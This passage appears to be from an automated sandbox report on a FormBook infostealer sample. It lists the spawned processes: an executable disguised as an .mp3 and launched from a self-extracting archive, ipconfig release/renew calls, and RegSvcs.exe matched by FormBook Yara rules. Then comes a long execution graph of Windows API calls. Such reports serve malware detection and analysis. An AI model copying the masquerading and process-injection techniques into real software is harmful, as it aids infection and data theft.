                                                            MD5 hash:D0FCE3AFA6AA1D58CE9FA336CC2B675B
                                                            Has elevated privileges:true
                                                            Has administrator privileges:true
                                                            Programmed in:C, C++ or other language
                                                            Reputation:high
                                                            Has exited:true

                                                            General

                                                            Target ID:4
                                                            Start time:12:28:10
                                                            Start date:05/12/2024
                                                            Path:C:\Windows\System32\conhost.exe
                                                            Wow64 process (32bit):false
                                                            Commandline:C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
                                                            Imagebase:0x7ff66e660000
                                                            File size:862'208 bytes
                                                            MD5 hash:0D698AF330FD17BEE3BF90011D49251D
                                                            Has elevated privileges:true
                                                            Has administrator privileges:true
                                                            Programmed in:C, C++ or other language
                                                            Reputation:high
                                                            Has exited:true

                                                            General

                                                            Target ID:5
                                                            Start time:12:28:10
                                                            Start date:05/12/2024
                                                            Path:C:\Windows\SysWOW64\cmd.exe
                                                            Wow64 process (32bit):true
                                                            Commandline:"C:\Windows\System32\cmd.exe" /c lijei.mp3 uudcsppmql.jpg
                                                            Imagebase:0x1c0000
                                                            File size:236'544 bytes
                                                            MD5 hash:D0FCE3AFA6AA1D58CE9FA336CC2B675B
                                                            Has elevated privileges:true
                                                            Has administrator privileges:true
                                                            Programmed in:C, C++ or other language
                                                            Reputation:high
                                                            Has exited:true

                                                            General

                                                            Target ID:6
                                                            Start time:12:28:10
                                                            Start date:05/12/2024
                                                            Path:C:\Windows\System32\conhost.exe
                                                            Wow64 process (32bit):false
                                                            Commandline:C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
                                                            Imagebase:0x7ff66e660000
                                                            File size:862'208 bytes
                                                            MD5 hash:0D698AF330FD17BEE3BF90011D49251D
                                                            Has elevated privileges:true
                                                            Has administrator privileges:true
                                                            Programmed in:C, C++ or other language
                                                            Reputation:high
                                                            Has exited:true

                                                            General

                                                            Target ID:7
                                                            Start time:12:28:10
                                                            Start date:05/12/2024
                                                            Path:C:\Windows\SysWOW64\ipconfig.exe
                                                            Wow64 process (32bit):true
                                                            Commandline:ipconfig /release
                                                            Imagebase:0x840000
                                                            File size:29'184 bytes
                                                            MD5 hash:3A3B9A5E00EF6A3F83BF300E2B6B67BB
                                                            Has elevated privileges:true
                                                            Has administrator privileges:true
                                                            Programmed in:C, C++ or other language
                                                            Reputation:moderate
                                                            Has exited:true

                                                            General

                                                            Target ID:8
                                                            Start time:12:28:10
                                                            Start date:05/12/2024
                                                            Path:C:\Users\user\AppData\Local\Temp\RarSFX0\lijei.mp3
                                                            Wow64 process (32bit):true
                                                            Commandline:lijei.mp3 uudcsppmql.jpg
                                                            Imagebase:0x8a0000
                                                            File size:947'288 bytes
                                                            MD5 hash:0ADB9B817F1DF7807576C2D7068DD931
                                                            Has elevated privileges:true
                                                            Has administrator privileges:true
                                                            Programmed in:C, C++ or other language
                                                            Antivirus matches:
                                                            • Detection: 0%, ReversingLabs
                                                            Reputation:moderate
                                                            Has exited:true

                                                            General

                                                            Target ID:10
                                                            Start time:12:28:13
                                                            Start date:05/12/2024
                                                            Path:C:\Windows\SysWOW64\cmd.exe
                                                            Wow64 process (32bit):true
                                                            Commandline:"C:\Windows\System32\cmd.exe" /c ipconfig /renew
                                                            Imagebase:0x1c0000
                                                            File size:236'544 bytes
                                                            MD5 hash:D0FCE3AFA6AA1D58CE9FA336CC2B675B
                                                            Has elevated privileges:true
                                                            Has administrator privileges:true
                                                            Programmed in:C, C++ or other language
                                                            Reputation:high
                                                            Has exited:true

                                                            General

                                                            Target ID:11
                                                            Start time:12:28:13
                                                            Start date:05/12/2024
                                                            Path:C:\Windows\System32\conhost.exe
                                                            Wow64 process (32bit):false
                                                            Commandline:C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
                                                            Imagebase:0x7ff66e660000
                                                            File size:862'208 bytes
                                                            MD5 hash:0D698AF330FD17BEE3BF90011D49251D
                                                            Has elevated privileges:true
                                                            Has administrator privileges:true
                                                            Programmed in:C, C++ or other language
                                                            Reputation:high
                                                            Has exited:true

                                                            General

                                                            Target ID:12
                                                            Start time:12:28:13
                                                            Start date:05/12/2024
                                                            Path:C:\Windows\SysWOW64\ipconfig.exe
                                                            Wow64 process (32bit):true
                                                            Commandline:ipconfig /renew
                                                            Imagebase:0x840000
                                                            File size:29'184 bytes
                                                            MD5 hash:3A3B9A5E00EF6A3F83BF300E2B6B67BB
                                                            Has elevated privileges:true
                                                            Has administrator privileges:true
                                                            Programmed in:C, C++ or other language
                                                            Reputation:moderate
                                                            Has exited:true

                                                            General

                                                            Target ID:13
                                                            Start time:12:28:20
                                                            Start date:05/12/2024
                                                            Path:C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe
                                                            Wow64 process (32bit):false
                                                            Commandline:"C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe"
                                                            Imagebase:0x7ff66e660000
                                                            File size:45'984 bytes
                                                            MD5 hash:9D352BC46709F0CB5EC974633A0C3C94
                                                            Has elevated privileges:true
                                                            Has administrator privileges:true
                                                            Programmed in:C, C++ or other language
                                                            Has exited:true

                                                            General

                                                            Target ID:14
                                                            Start time:12:28:20
                                                            Start date:05/12/2024
                                                            Path:C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe
                                                            Wow64 process (32bit):true
                                                            Commandline:"C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe"
                                                            Imagebase:0xdc0000
                                                            File size:45'984 bytes
                                                            MD5 hash:9D352BC46709F0CB5EC974633A0C3C94
                                                            Has elevated privileges:true
                                                            Has administrator privileges:true
                                                            Programmed in:C, C++ or other language
                                                            Yara matches:
                                                            • Rule: JoeSecurity_FormBook_1, Description: Yara detected FormBook, Source: 0000000E.00000002.2818895373.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Author: Joe Security
                                                            • Rule: JoeSecurity_FormBook_1, Description: Yara detected FormBook, Source: 0000000E.00000002.2819115818.00000000012A0000.00000004.00001000.00020000.00000000.sdmp, Author: Joe Security
                                                            Has exited:true

                                                            General

                                                            Target ID:15
                                                            Start time:12:28:24
                                                            Start date:05/12/2024
                                                            Path:C:\Users\user\AppData\Local\Temp\xhqk\lijei.mp3.exe
                                                            Wow64 process (32bit):true
                                                            Commandline:"C:\Users\user\AppData\Local\Temp\xhqk\LIJEIM~1.EXE" C:\Users\user\AppData\Local\Temp\xhqk\UUDCSP~1.JPG
                                                            Imagebase:0xeb0000
                                                            File size:947'288 bytes
                                                            MD5 hash:0ADB9B817F1DF7807576C2D7068DD931
                                                            Has elevated privileges:false
                                                            Has administrator privileges:false
                                                            Programmed in:C, C++ or other language
                                                            Antivirus matches:
                                                            • Detection: 0%, ReversingLabs
                                                            Has exited:true

                                                            General

                                                            Target ID:17
                                                            Start time:12:28:33
                                                            Start date:05/12/2024
                                                            Path:C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe
                                                            Wow64 process (32bit):false
                                                            Commandline:"C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe"
                                                            Imagebase:0x260000
                                                            File size:45'984 bytes
                                                            MD5 hash:9D352BC46709F0CB5EC974633A0C3C94
                                                            Has elevated privileges:false
                                                            Has administrator privileges:false
                                                            Programmed in:C, C++ or other language
                                                            Has exited:true

                                                            General

                                                            Target ID:18
                                                            Start time:12:28:33
                                                            Start date:05/12/2024
                                                            Path:C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe
                                                            Wow64 process (32bit):true
                                                            Commandline:"C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe"
                                                            Imagebase:0x320000
                                                            File size:45'984 bytes
                                                            MD5 hash:9D352BC46709F0CB5EC974633A0C3C94
                                                            Has elevated privileges:false
                                                            Has administrator privileges:false
                                                            Programmed in:C, C++ or other language
                                                            Has exited:false

                                                            General

                                                            Target ID:20
                                                            Start time:12:28:33
                                                            Start date:05/12/2024
                                                            Path:C:\Windows\SysWOW64\WerFault.exe
                                                            Wow64 process (32bit):true
                                                            Commandline:C:\Windows\SysWOW64\WerFault.exe -pss -s 460 -p 1924 -ip 1924
                                                            Imagebase:0x320000
                                                            File size:483'680 bytes
                                                            MD5 hash:C31336C1EFC2CCB44B4326EA793040F2
                                                            Has elevated privileges:true
                                                            Has administrator privileges:true
                                                            Programmed in:C, C++ or other language
                                                            Has exited:true

                                                            General

                                                            Target ID:21
                                                            Start time:12:28:33
                                                            Start date:05/12/2024
                                                            Path:C:\Windows\SysWOW64\WerFault.exe
                                                            Wow64 process (32bit):true
                                                            Commandline:C:\Windows\SysWOW64\WerFault.exe -u -p 1924 -s 80
                                                            Imagebase:0x320000
                                                            File size:483'680 bytes
                                                            MD5 hash:C31336C1EFC2CCB44B4326EA793040F2
                                                            Has elevated privileges:false
                                                            Has administrator privileges:false
                                                            Programmed in:C, C++ or other language
                                                            Has exited:true

                                                            Disassembly

                                                            Reset < >

                                                              Execution Graph

                                                              Execution Coverage:9.8%
                                                              Dynamic/Decrypted Code Coverage:0%
                                                              Signature Coverage:10.9%
                                                              Total number of Nodes:1935
                                                              Total number of Limit Nodes:34
                                                              execution_graph 27760 d7e3d5 27761 d7e3df 27760->27761 27764 d7e551 SetFilePointer 27761->27764 27766 d7e403 27761->27766 27763 d7e481 27765 d7e56e GetLastError 27764->27765 27764->27766 27765->27766 27767 d95734 27766->27767 27768 d9573d IsProcessorFeaturePresent 27767->27768 27769 d9573c 27767->27769 27771 d95bfc 27768->27771 27769->27763 27774 d95bbf SetUnhandledExceptionFilter UnhandledExceptionFilter GetCurrentProcess TerminateProcess 27771->27774 27773 d95cdf 27773->27763 27774->27773 27775 d94cda 27776 d94c88 27775->27776 27776->27775 27778 d94fce 27776->27778 27804 d94d2c 27778->27804 27780 d94fde 27781 d9503b 27780->27781 27790 d9505f 27780->27790 27782 d94f6c DloadReleaseSectionWriteAccess 8 API calls 27781->27782 27783 d95046 RaiseException 27782->27783 27785 d95234 27783->27785 27784 d9514a 27789 d951a8 GetProcAddress 27784->27789 27797 d95206 27784->27797 27785->27776 27786 d950d7 LoadLibraryExA 27787 d95138 27786->27787 27788 d950ea GetLastError 27786->27788 27787->27784 27791 d95143 FreeLibrary 27787->27791 27792 d95113 27788->27792 27800 d950fd 27788->27800 27794 d951b8 GetLastError 27789->27794 27789->27797 27790->27784 27790->27786 27790->27787 27790->27797 27791->27784 27793 d94f6c DloadReleaseSectionWriteAccess 8 API calls 27792->27793 27795 d9511e RaiseException 27793->27795 27801 d951cb 27794->27801 27795->27785 27815 d94f6c 27797->27815 27798 d94f6c DloadReleaseSectionWriteAccess 8 API calls 27799 d951ec RaiseException 27798->27799 27802 d94d2c ___delayLoadHelper2@8 8 API calls 27799->27802 27800->27787 27800->27792 27801->27797 27801->27798 27803 d95203 27802->27803 27803->27797 27805 d94d38 27804->27805 27806 d94d5e 27804->27806 27823 d94dd5 27805->27823 27806->27780 27808 d94d3d 27809 d94d59 27808->27809 27828 d94efe 27808->27828 27833 d94d5f GetModuleHandleW GetProcAddress GetProcAddress 27809->27833 27812 d94fa7 27813 d94fc3 27812->27813 27814 d94fbf RtlReleaseSRWLockExclusive 27812->27814 27813->27780 27814->27780 27816 d94f7e 27815->27816 27817 d94fa0 27815->27817 27818 d94dd5 DloadReleaseSectionWriteAccess 4 API calls 27816->27818 27817->27785 27819 d94f83 27818->27819 27820 d94f9b 27819->27820 27821 d94efe DloadProtectSection 3 API calls 27819->27821 27836 d94fa2 GetModuleHandleW GetProcAddress GetProcAddress RtlReleaseSRWLockExclusive DloadReleaseSectionWriteAccess 27820->27836 27821->27820 27834 d94d5f GetModuleHandleW GetProcAddress GetProcAddress 27823->27834 27825 d94dda 27826 d94df2 RtlAcquireSRWLockExclusive 27825->27826 27827 d94df6 27825->27827 27826->27808 27827->27808 27829 d94f13 DloadProtectSection 27828->27829 27830 d94f19 27829->27830 27831 d94f4e VirtualProtect 27829->27831 27835 d94e14 VirtualQuery GetSystemInfo 27829->27835 27830->27809 27831->27830 27833->27812 27834->27825 27835->27831 27836->27817 27837 d9437d 27838 d94389 __EH_prolog3_GS 27837->27838 27855 d84318 27838->27855 27844 d943dc 27866 d71a66 27844->27866 27848 d943f5 27873 d90678 PeekMessageW 27848->27873 27854 d94430 27879 d95787 27854->27879 27856 d84328 27855->27856 27882 d84349 27856->27882 27859 d86a25 27909 d868d4 27859->27909 27862 d725a4 27863 d725b2 27862->27863 27864 d725ad 27862->27864 27863->27844 27865 d71a66 26 API calls 27864->27865 27865->27863 27867 d71a71 27866->27867 27868 d71a80 27866->27868 27869 d712a7 26 API calls 27867->27869 27870 d71de7 27868->27870 27869->27868 27871 d71df3 SetDlgItemTextW 27870->27871 27872 d71df1 27870->27872 27871->27848 27872->27871 27874 d906cc 27873->27874 27875 d90693 GetMessageW 27873->27875 27874->27854 27878 d719a9 26 API calls 27874->27878 27876 d906a9 IsDialogMessageW 27875->27876 27877 d906b8 TranslateMessage DispatchMessageW 27875->27877 27876->27874 27876->27877 27877->27874 27878->27854 27880 d95734 __ehhandler$___std_fs_get_file_attributes_by_handle@8 5 API calls 27879->27880 27881 d94446 27880->27881 27888 d8347b 27882->27888 27885 d8436c LoadStringW 27886 d84346 27885->27886 27887 d84383 LoadStringW 27885->27887 27886->27859 27887->27886 27895 d8338e 27888->27895 27891 d834bc 27893 d95734 __ehhandler$___std_fs_get_file_attributes_by_handle@8 5 API calls 27891->27893 27894 d834d1 27893->27894 27894->27885 27894->27886 27896 d833c2 27895->27896 27904 d83445 _strncpy 27895->27904 27901 d833e2 27896->27901 27906 d889ed WideCharToMultiByte 27896->27906 27898 d83413 27908 d9d097 26 API calls 3 library calls 27898->27908 27899 d95734 __ehhandler$___std_fs_get_file_attributes_by_handle@8 5 API calls 27900 d83474 27899->27900 27900->27891 27905 d834d5 26 API calls 27900->27905 27901->27898 27907 d842b2 50 API calls __vsnprintf 27901->27907 27904->27899 27905->27891 27906->27901 27907->27898 27908->27904 27910 d868e0 __EH_prolog3_GS 27909->27910 27924 d8663b 27910->27924 27915 d86929 27921 d8696e 27915->27921 27937 d86a3d 27915->27937 27940 d77ff0 28 API calls 27915->27940 27916 d8698e 27922 d869d2 27916->27922 27942 d719a9 26 API calls 27916->27942 27918 d95787 5 API calls 27919 d869e8 27918->27919 27919->27862 27921->27916 27941 d77ff0 28 API calls 27921->27941 27922->27918 27925 d866df 27924->27925 27926 d86651 27924->27926 27928 d7adcc 27925->27928 27926->27925 27927 d71b63 28 API calls 27926->27927 27927->27926 27929 d7ae43 27928->27929 27932 d7addd 27928->27932 27950 d71a92 28 API calls std::_Xinvalid_argument 27929->27950 27936 d7ade8 27932->27936 27943 d712d3 28 API calls Concurrency::cancel_current_task 27932->27943 27934 d7ae17 27944 d711b8 27934->27944 27936->27915 27994 d7f68d 27937->27994 27940->27915 27941->27916 27942->27922 27943->27934 27945 d711c3 27944->27945 27946 d711cb 27944->27946 27965 d711dd 27945->27965 27947 d711c9 27946->27947 27951 d956f6 27946->27951 27947->27936 27953 d956fb 27951->27953 27954 d95715 27953->27954 27956 d95717 27953->27956 27974 d9d08c 27953->27974 27988 d9e91a 7 API calls 2 library calls 27953->27988 27954->27947 27957 d71a25 Concurrency::cancel_current_task 27956->27957 27959 d95721 27956->27959 27981 d9734a 27957->27981 27961 d9734a std::_Xinvalid_argument RaiseException 27959->27961 27960 d71a41 27963 d71a5a 27960->27963 27984 d712a7 27960->27984 27962 d96628 27961->27962 27963->27947 27966 d71206 27965->27966 27967 d711e8 27965->27967 27993 d71a25 27 API calls 2 library calls 27966->27993 27968 d956f6 28 API calls 27967->27968 27970 d711ee 27968->27970 27972 d711f5 27970->27972 27992 d9ac9e 26 API calls _abort 27970->27992 27971 d7120b 27972->27947 27976 da040e _abort 27974->27976 27975 da044c 27990 da01d3 20 API calls _abort 27975->27990 27976->27975 27978 da0437 RtlAllocateHeap 27976->27978 27989 d9e91a 7 API calls 2 library calls 27976->27989 27978->27976 27979 da044a 27978->27979 27979->27953 27982 d97391 RaiseException 27981->27982 27983 d97364 27981->27983 27982->27960 27983->27982 27985 d712c1 27984->27985 27986 d712b4 27984->27986 27985->27963 27991 d719a9 26 API calls 27986->27991 27988->27953 27989->27976 27990->27979 27991->27985 27993->27971 27995 d7f6a4 __vswprintf_c_l 27994->27995 27998 d9cee1 27995->27998 28001 d9afa4 27998->28001 28002 d9afcc 28001->28002 28003 d9afe4 28001->28003 28018 da01d3 20 API calls _abort 28002->28018 28003->28002 28005 d9afec 28003->28005 28020 d9b543 28005->28020 28006 d9afd1 28019 d9ac8e 26 API calls _abort 28006->28019 28010 d9afdc 28011 d95734 __ehhandler$___std_fs_get_file_attributes_by_handle@8 5 API calls 28010->28011 28014 d7f6ae 28011->28014 28013 d9b074 28029 d9b8f3 51 API calls 3 library calls 28013->28029 28014->27915 28017 d9b07f 28030 d9b5c6 20 API calls _free 28017->28030 28018->28006 28019->28010 28021 d9b560 28020->28021 28022 d9affc 28020->28022 28021->28022 28031 da0005 GetLastError 28021->28031 28028 d9b50e 20 API calls 2 library calls 28022->28028 28024 d9b581 28052 da0706 38 API calls __fassign 28024->28052 28026 d9b59a 28053 da0733 38 API calls __fassign 28026->28053 28028->28013 28029->28017 28030->28010 28032 da001b 28031->28032 28033 da0027 28031->28033 28054 da1b0b 11 API calls 2 library calls 28032->28054 28055 da1de6 20 API calls 2 library calls 28033->28055 28036 da0021 28036->28033 28038 da0070 SetLastError 28036->28038 28037 da0033 28039 da003b 28037->28039 28062 da1b61 11 API calls 2 library calls 28037->28062 28038->28024 28056 da03d4 28039->28056 28042 da0050 28042->28039 28044 da0057 28042->28044 28043 da0041 28045 da007c SetLastError 28043->28045 28063 d9fe70 20 API calls _abort 28044->28063 28064 d9fc3e 38 API calls _abort 28045->28064 28047 da0062 28049 da03d4 _free 20 API calls 28047->28049 28051 da0069 28049->28051 28051->28038 28051->28045 28052->28026 28053->28022 28054->28036 28055->28037 28057 da03df RtlFreeHeap 28056->28057 28058 da0408 __dosmaperr 28056->28058 28057->28058 28059 da03f4 28057->28059 28058->28043 28065 da01d3 20 API calls _abort 28059->28065 28061 da03fa GetLastError 28061->28058 28062->28042 28063->28047 28065->28061 28066 d7e0b0 28067 d7e0c9 28066->28067 28072 d7e850 28067->28072 28069 d7e0fb 28070 d7e850 111 API calls 28070->28069 28073 d7e875 28072->28073 28074 d7e862 28072->28074 28075 d7e0cd 28073->28075 28077 d7e888 SetFilePointer 28073->28077 28074->28075 28081 d79490 109 API calls 28074->28081 28075->28070 28077->28075 28078 d7e8a4 GetLastError 28077->28078 28078->28075 28079 d7e8ae 28078->28079 28079->28075 28082 d79490 109 API calls 28079->28082 28081->28073 28082->28075 28083 d92813 28105 d77673 28083->28105 28085 d92a9a 28086 d92af7 28085->28086 28087 d77673 28 API calls 28085->28087 28160 d758cb 45 API calls 28086->28160 28088 d92aec 28087->28088 28109 d938a0 28088->28109 28092 d92832 _wcslen 28092->28085 28092->28086 28147 d7120c 28092->28147 28094 d928fe 28156 d8645a 28 API calls 28094->28156 28096 d92a01 28099 d92a39 28096->28099 28158 d719a9 26 API calls 28096->28158 28099->28085 28159 d719a9 26 API calls 28099->28159 28100 d714a7 28 API calls 28104 d9292f 28100->28104 28101 d7adaa CompareStringW 28101->28104 28102 d71a66 26 API calls 28102->28104 28104->28096 28104->28100 28104->28101 28104->28102 28157 d8645a 28 API calls 28104->28157 28106 d7768c 28105->28106 28161 d77430 28106->28161 28108 d77699 28108->28092 28114 d938ac __cftof __EH_prolog3_GS 28109->28114 28110 d71a66 26 API calls 28111 d93bcf 28110->28111 28112 d95787 5 API calls 28111->28112 28113 d93bd4 28112->28113 28113->28086 28115 d93a1e 28114->28115 28138 d93ba8 28114->28138 28185 d88da4 CompareStringW 28114->28185 28172 d714a7 28115->28172 28121 d71a66 26 API calls 28122 d93a4b 28121->28122 28123 d93a9d ShellExecuteExW 28122->28123 28124 d714a7 28 API calls 28122->28124 28125 d93b7c 28123->28125 28126 d93ab2 28123->28126 28127 d93a71 28124->28127 28125->28138 28188 d719a9 26 API calls 28125->28188 28129 d93ace IsWindowVisible 28126->28129 28130 d93ae5 WaitForInputIdle 28126->28130 28135 d93b30 CloseHandle 28126->28135 28186 d80e49 51 API calls 2 library calls 28127->28186 28129->28130 28131 d93ad9 ShowWindow 28129->28131 28179 d93fcf WaitForSingleObject 28130->28179 28131->28130 28133 d93a82 28137 d71a66 26 API calls 28133->28137 28139 d93b3d 28135->28139 28140 d93b48 28135->28140 28136 d93afb 28136->28135 28143 d93b08 GetExitCodeProcess 28136->28143 28141 d93a8e 28137->28141 28138->28110 28187 d88da4 CompareStringW 28139->28187 28140->28125 28144 d93b73 ShowWindow 28140->28144 28141->28123 28143->28135 28145 d93b19 28143->28145 28144->28125 28145->28135 28148 d7127d 28147->28148 28151 d7121d 28147->28151 28287 d71a92 28 API calls std::_Xinvalid_argument 28148->28287 28155 d71228 28151->28155 28286 d712d3 28 API calls Concurrency::cancel_current_task 28151->28286 28153 d71254 28154 d711b8 28 API calls 28153->28154 28154->28155 28155->28094 28156->28104 28157->28104 28158->28099 28159->28085 28162 d77493 28161->28162 28164 d77441 28161->28164 28171 d71a92 28 API calls std::_Xinvalid_argument 28162->28171 28169 d7744c 28164->28169 28170 d712d3 28 API calls Concurrency::cancel_current_task 28164->28170 28167 d77471 28168 d711b8 28 API calls 28167->28168 28168->28169 28169->28108 28170->28167 28173 d714bd _wcslen 28172->28173 28174 d7120c 28 API calls 28173->28174 28175 d714ca 28174->28175 28176 d7ed0d 28175->28176 28189 d7ed1f 28176->28189 28180 d93fea 28179->28180 28181 d9402f 28179->28181 28182 d93fed PeekMessageW 28180->28182 28181->28136 28183 d93fff GetMessageW TranslateMessage DispatchMessageW 28182->28183 28184 d94020 WaitForSingleObject 28182->28184 28183->28184 28184->28181 28184->28182 28185->28115 28186->28133 28187->28140 28188->28138 28190 d7ed2b __EH_prolog3_GS 28189->28190 28191 d7ed38 GetFileAttributesW 28190->28191 28192 d7ed46 28191->28192 28199 d7edad 28191->28199 28201 d8169a 28192->28201 28193 d95787 5 API calls 28195 d7ed16 28193->28195 28195->28121 28197 d7ed81 28197->28199 28258 d719a9 26 API calls 28197->28258 28198 d7ed78 GetFileAttributesW 28198->28197 28199->28193 28202 d816e0 28201->28202 28203 d816e7 28201->28203 28205 d95734 __ehhandler$___std_fs_get_file_attributes_by_handle@8 5 API calls 28202->28205 28204 d714a7 28 API calls 28203->28204 28207 d816f4 28204->28207 28206 d7ed68 28205->28206 28206->28197 28206->28198 28208 d817db 28207->28208 28209 d81711 28207->28209 28269 d81309 28208->28269 28211 d8171b 28209->28211 28218 d81741 28209->28218 28259 d80ba6 28 API calls 28211->28259 28213 d81729 28217 d725a4 26 API calls 28213->28217 28214 d817fb 28216 d818ed 28214->28216 28222 d8181f 28214->28222 28223 d81875 28214->28223 28215 d71a66 26 API calls 28215->28202 28220 d81739 28216->28220 28282 d719a9 26 API calls 28216->28282 28221 d81731 28217->28221 28218->28220 28260 d7769f 28218->28260 28220->28215 28224 d71a66 26 API calls 28221->28224 28278 d80c41 28 API calls 28222->28278 28280 d80ba6 28 API calls 28223->28280 28224->28220 28226 d81883 28229 d725a4 26 API calls 28226->28229 28233 d8188c 28229->28233 28230 d81838 28279 d71188 28 API calls 28230->28279 28236 d71a66 26 API calls 28233->28236 28235 d8179e 28268 d7aef3 28 API calls 28235->28268 28239 d81894 28236->28239 28237 d81848 28243 d725a4 26 API calls 28237->28243 28281 d80ddb 28 API calls 28239->28281 28240 d817b2 28242 d725a4 26 API calls 28240->28242 28244 d817be 28242->28244 28245 d81860 28243->28245 28246 d71a66 26 API calls 28244->28246 28247 d71a66 26 API calls 28245->28247 28250 d817c6 28246->28250 28248 d81868 28247->28248 28252 d71a66 26 API calls 28248->28252 28249 d7769f 45 API calls 28254 d81870 28249->28254 28253 d71a66 26 API calls 28250->28253 28251 d8189c 28251->28249 28252->28254 28255 d817ce 28253->28255 28257 d71a66 26 API calls 28254->28257 28256 d71a66 26 API calls 28255->28256 28256->28220 28257->28216 28258->28199 28259->28213 28261 d776e1 28260->28261 28262 d776bb 28260->28262 28283 d758cb 45 API calls 28261->28283 28265 d7120c 28 API calls 28262->28265 28266 d776db 28265->28266 28267 d80bf3 28 API calls _wcslen 28266->28267 28267->28235 28268->28240 28284 d957a5 28269->28284 28271 d81315 GetCurrentDirectoryW 28272 d81327 28271->28272 28275 d81323 28271->28275 28285 d71bbd 28 API calls 28272->28285 28274 d81339 GetCurrentDirectoryW 28276 d81356 _wcslen 28274->28276 28275->28214 28276->28275 28277 d712a7 26 API calls 28276->28277 28277->28275 28278->28230 28279->28237 28280->28226 28281->28251 28282->28220 28284->28271 28285->28274 28286->28153 28288 d96452 28289 d9645e ___scrt_is_nonwritable_in_current_image 28288->28289 28320 d95e63 28289->28320 28291 d96465 28292 d965b8 28291->28292 28295 d9648f 28291->28295 28423 d96878 4 API calls 2 library calls 28292->28423 28294 d965bf 28416 d9ee14 28294->28416 28303 d964ce ___scrt_is_nonwritable_in_current_image ___scrt_release_startup_lock 28295->28303 28331 d9f9ad 28295->28331 28302 d964ae 28305 d9652f 28303->28305 28419 d9e9b0 38 API calls _abort 28303->28419 28339 d96993 GetStartupInfoW __cftof 28305->28339 28307 d96535 28340 d9f8fe 51 API calls 28307->28340 28310 d9653d 28341 d9454a 28310->28341 28314 d96551 28314->28294 28315 d96555 28314->28315 28316 d9655e 28315->28316 28421 d9edb7 28 API calls _abort 28315->28421 28422 d95fd4 12 API calls ___scrt_uninitialize_crt 28316->28422 28319 d96566 28319->28302 28321 d95e6c 28320->28321 28425 d96694 IsProcessorFeaturePresent 28321->28425 28323 d95e78 28426 d996d9 10 API calls 2 library calls 28323->28426 28325 d95e7d 28330 d95e81 28325->28330 28427 d9f837 28325->28427 28328 d95e98 28328->28291 28330->28291 28333 d9f9c4 28331->28333 28332 d95734 __ehhandler$___std_fs_get_file_attributes_by_handle@8 5 API calls 28334 d964a8 28332->28334 28333->28332 28334->28302 28335 d9f951 28334->28335 28336 d9f980 28335->28336 28337 d95734 __ehhandler$___std_fs_get_file_attributes_by_handle@8 5 API calls 28336->28337 28338 d9f9a9 28337->28338 28338->28303 28339->28307 28340->28310 28435 d86d7b 28341->28435 28344 d81309 30 API calls 28345 d94572 28344->28345 28517 d8f4d4 28345->28517 28347 d9457b __cftof 28521 d8f89a 28347->28521 28351 d94608 GetCommandLineW 28352 d946f9 28351->28352 28353 d94618 28351->28353 28354 d813f9 29 API calls 28352->28354 28355 d714a7 28 API calls 28353->28355 28356 d94703 28354->28356 28357 d94622 28355->28357 28358 d725a4 26 API calls 28356->28358 28359 d919ee 115 API calls 28357->28359 28360 d94710 28358->28360 28361 d9462c 28359->28361 28362 d71a66 26 API calls 28360->28362 28363 d71a66 26 API calls 28361->28363 28364 d94719 SetEnvironmentVariableW GetLocalTime 28362->28364 28365 d94635 28363->28365 28371 d7f6ba _swprintf 51 API calls 28364->28371 28367 d946dc 28365->28367 28368 d94642 OpenFileMappingW 28365->28368 28372 d714a7 28 API calls 28367->28372 28369 d9465b MapViewOfFile 28368->28369 28370 d946d2 CloseHandle 28368->28370 28369->28370 28374 d9466b UnmapViewOfFile MapViewOfFile 28369->28374 28370->28352 28375 d9477e SetEnvironmentVariableW GetModuleHandleW LoadIconW 28371->28375 28373 d946e6 28372->28373 28376 d93efc 30 API calls 28373->28376 28374->28370 28377 d94689 28374->28377 28378 d907e5 34 API calls 28375->28378 28380 d946f0 28376->28380 28381 d8fc38 28 API calls 28377->28381 28379 d947bc 28378->28379 28382 d83538 133 API calls 28379->28382 28383 d71a66 26 API calls 28380->28383 28384 d94699 28381->28384 28385 d947cc 28382->28385 28383->28352 28386 d93efc 30 API calls 28384->28386 28387 d8d255 28 API calls 28385->28387 28388 d946a2 28386->28388 28389 d947d8 28387->28389 28390 d85109 114 API calls 28388->28390 28391 d8d255 28 API calls 28389->28391 28392 d946b5 28390->28392 28393 d947e1 DialogBoxParamW 28391->28393 28394 d851bf 114 API calls 28392->28394 28395 d8d347 26 API calls 28393->28395 28396 d946c0 28394->28396 28397 d9481e 28395->28397 28399 d946cb UnmapViewOfFile 28396->28399 28398 d8d347 26 API calls 28397->28398 28400 d9482a 28398->28400 28399->28370 28401 d9483a 28400->28401 28402 d94833 Sleep 28400->28402 28403 d94848 28401->28403 28404 d8fb4b 48 API calls 28401->28404 28402->28401 28405 d94852 DeleteObject 28403->28405 28404->28403 28406 d9486e 28405->28406 28407 d94867 DeleteObject 28405->28407 28408 d9489e 28406->28408 28409 d948b0 28406->28409 28407->28406 28410 d93fcf 6 API calls 28408->28410 28411 d8f53a GdiplusShutdown CoUninitialize 28409->28411 28412 d948a4 CloseHandle 28410->28412 28413 d948ea 28411->28413 28412->28409 28414 d95734 __ehhandler$___std_fs_get_file_attributes_by_handle@8 5 API calls 28413->28414 28415 d948fd 28414->28415 28420 d969c9 GetModuleHandleW 28415->28420 28624 d9eb91 28416->28624 28419->28305 28420->28314 28421->28316 28422->28319 28423->28294 28425->28323 28426->28325 28431 da2d0a 28427->28431 28430 d996f8 7 API calls 2 library calls 28430->28330 28432 da2d23 28431->28432 28433 d95734 __ehhandler$___std_fs_get_file_attributes_by_handle@8 5 API calls 28432->28433 28434 d95e8a 28433->28434 28434->28328 28434->28430 28537 d95b20 28435->28537 28438 d86e28 28442 d8719b 28438->28442 28587 d9e50e 42 API calls __vsnwprintf_l 28438->28587 28439 d86dd3 GetProcAddress 28440 d86dfd GetProcAddress 28439->28440 28441 d86de5 28439->28441 28440->28438 28444 d86e0f 28440->28444 28441->28440 28539 d813f9 28442->28539 28444->28438 28445 d87098 28445->28442 28448 